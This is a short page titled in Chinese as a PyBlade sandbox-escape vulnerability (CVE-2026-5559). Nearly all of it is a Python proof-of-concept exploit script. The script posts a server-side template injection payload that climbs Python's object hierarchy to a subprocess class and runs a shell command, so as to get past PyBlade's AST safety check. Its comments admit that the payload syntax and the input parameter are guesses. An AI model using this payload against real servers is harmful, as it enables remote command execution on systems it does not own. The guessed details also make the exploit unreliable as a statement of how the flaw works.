CVE-2026-5559 PyBlade沙箱逃逸漏洞

# Proof of Concept for CVE-2026-5559 # This script demonstrates a potential payload to bypass the _is_safe_ast check. import requests def exploit_poc(target_url): # Construct a malicious payload that attempts to bypass AST validation # The payload tries to access dangerous built-ins or execute commands # via template injection. # Note: Actual payload syntax depends on PyBlade's specific implementation. payload = "{{().__class__.__bases__[0].__subclasses__()[40]('ls', shell=True).communicate()}}" headers = { "User-Agent": "CVE-2026-5559-Scanner", "Content-Type": "application/x-www-form-urlencoded" } data = { "content": payload # Assuming the input parameter is 'content' } try: print(f"[+] Sending request to {target_url}...") response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print("[+] Response Body:") print(response.text[:200]) # Print first 200 chars except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual vulnerable endpoint target = "http://localhost:8000/render" exploit_poc(target)